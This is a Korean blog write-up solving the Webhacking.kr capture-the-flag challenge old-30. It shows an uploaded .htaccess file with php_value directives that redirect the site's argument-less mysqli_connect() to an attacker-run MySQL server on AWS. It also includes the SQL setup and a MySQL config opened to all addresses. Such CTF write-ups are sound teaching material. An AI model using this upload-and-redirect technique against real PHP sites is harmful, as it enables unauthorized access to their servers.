취약점 분석
문제 페이지를 보면 다음과 같이 파일을 업로드 할 수 있고 index.php 소스코드를 볼 수 있는 링크가 출력된다.

우선 어떤 파일이 필터링 되는지 보자.

- 전에 풀었던 old-28 문제와 마찬가지로, .php 파일을 올리려 하면 ‘<’문자가 필터링 되기 때문에 코드에서 PHP 코드의 <?php 가 ?php 되어버려 PHP코드를 이용한 공격은 불가하다.
다음으로 .htaccess 파일은 업로드가 되는지 보자.


- PHP 실행을 정지시키려 하는 등의 내용을 가진 .htaccess 파일은 no hack을 출력하며 필터링한다.

- 그러나 그냥 주석만 있는 .htaccess 파일은 올릴 수 있다.
- 즉, 일단 .htaccess 파일로 Apache 설정 값을 바꿀 수는 있다.
소스코드 취약점 분석
<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>
$db = mysqli_connect() or die();
- DB에 연결한다. 그런데 인자가 없다.
- mysqli_connect 함수에 인자가 없으면, php.ini 파일에 설정되어있는 디폴트 설정값을 사용해 연결을 시도하게 된다.
- host : "localhost"
- user : ini 설정에 등록된 기본 DB 사용자명
- password : 없음 (빈 문자열)
- database : 지정 안 됨 (→ 나중에 mysqli_select_db()로 선택)
즉, 최종적으로는 이렇게 되는 것과 거의 유사하다.
$db = mysqli_connect("localhost", "root", "", "");
mysqli_select_db($db, "chall30");
익스플로잇
익스플로잇 시나리오
- .htaccess 파일 생성하여 mysqli_connect()가 디폴트로 연결할 DB의 HOST, 사용자, 비밀번호, 포트번호를 지정
- Ubuntu 기반 AWS EC2를 생성하여 MySQL 설치
- 문제의 PHP 스크립트가 연결될 DB 생성
- .htaccess 파일에 기재된 대로 DB 사용자, 비밀번호 생성
- 문제의 소스코드에 나온 바에 따라 chall30라는 DB와 chall30_answer라는 테이블 생성
- .htaccess 파일을 업로드하면, 본 문제의 PHP 스크립트가 AWS에 설치된 DB에 연결됨
1. .htaccess로 연결할 DB HOST, 사용자명, 비밀번호 정하기
우선 .htaccess 파일을 생성하여 본 문제의 PHP 스크립트가 연결될 DB를 정해주자.
php_value mysqli.default_host "[AWS EC2 ip 주소]"
php_value mysqli.default_user "dbuser"
php_value mysqli.default_pw "s3cret"
php_value mysqli.default_port "3306"
- 사용자 명 : dbuser
- 비밀번호 : s3cret
- 포트 번호는 디폴트로 3306을 둔다.
- HOST는 AWS로 부터 할당 받는 공인 IP 주소를 적는다.
2. AWS EC2 생성 및 DB 구축
Ubuntu 기반 AWS EC2 인스턴스를 한개 생성한다.

MySQL 설치 및 DB 생성
MYSQL 설치
sudo apt update
sudo apt install mysql-server
(root 비밀번호 생성과정은 생략)
mysql -u root -p
DB 생성 쿼리
CREATE USER dbuser;
ALTER USER 'dbuser'@'%' IDENTIFIED WITH mysql_native_password BY 's3cret';
CREATE DATABASE chall30 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
GRANT ALL PRIVILEGES ON chall30.* TO 'dbuser'@'%';
FLUSH PRIVILEGES;
exit
(shell에서 다시 mysql -u dbuser -p로 접속)
CREATE TABLE chall30_answer (flag char(20) not null)
INSERT INTO chall30_answer (flag) VALUES("abc")
3306 Port 번호 오픈
그런데, 그냥 이러고 .htaccess파일을 올리면 안 된다.
왜냐하면 Ubuntu 서버의 3306 포트가 오픈되어있지 않기 때문이다.
ubuntu@ip-172-31-44-238:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 172.31.44.238:22 89.147.101.26:44135 ESTABLISHED
tcp 0 0 172.31.44.238:43744 52.79.128.16:80 TIME_WAIT
(...)
AWS 서버의 3306포트를 어느 IP에서든 접근할 수 있게 열어둬야한다.
방법은 /etc/mysql/mysql.conf.d/mysqld.cnf 파일을 수정하는 것이다.
ubuntu@ip-172-31-44-238:~$ sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf

bind-address = 0.0.0.0
mysqlx-bind-address = 0.0.0.0
그러고 다시 netstat -ant 명령어로 네트워크 상태를 확인하자.
ubuntu@ip-172-31-44-238:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN
(...)
3. .htaccess 파일 업로드
이제 .htaccess 파일을 업로드하면 된다.


공격 시나리오 요약
- 소스코드의 mysqli_connect()함수에 인자가 없을 경우 php.ini의 기본 설정으로 DB 연결 시도
- host : "localhost"
- user : ini 설정에 등록된 기본 DB 사용자명
- password : “ ” (빈 문자열)
- database : “ ”
- .htaccess 파일을 업로드 하여 PHP 스크립트의 mysqli_connect함수에 인자가 없는 경우 기본 연결 사용자, 비밀번호를 설정
- Ubuntu AWS EC2 인스턴스에 MySQL 설치
- .htaccess 파일에 지정되어있는 대로 사용자, 비밀번호 설정
- chall30 DB 생성
- flag라는 컬럼을 가진 chall30_answer 테이블 생성
- FLAG 추출
끝.
'Webhacking.kr' 카테고리의 다른 글
| baby toctou(Race Condition) (0) | 2026.05.12 |
|---|---|
| old-28 (1) | 2026.05.12 |
| old-40 (0) | 2026.05.12 |
| old-22 (0) | 2026.05.12 |
| old-44 (0) | 2026.05.12 |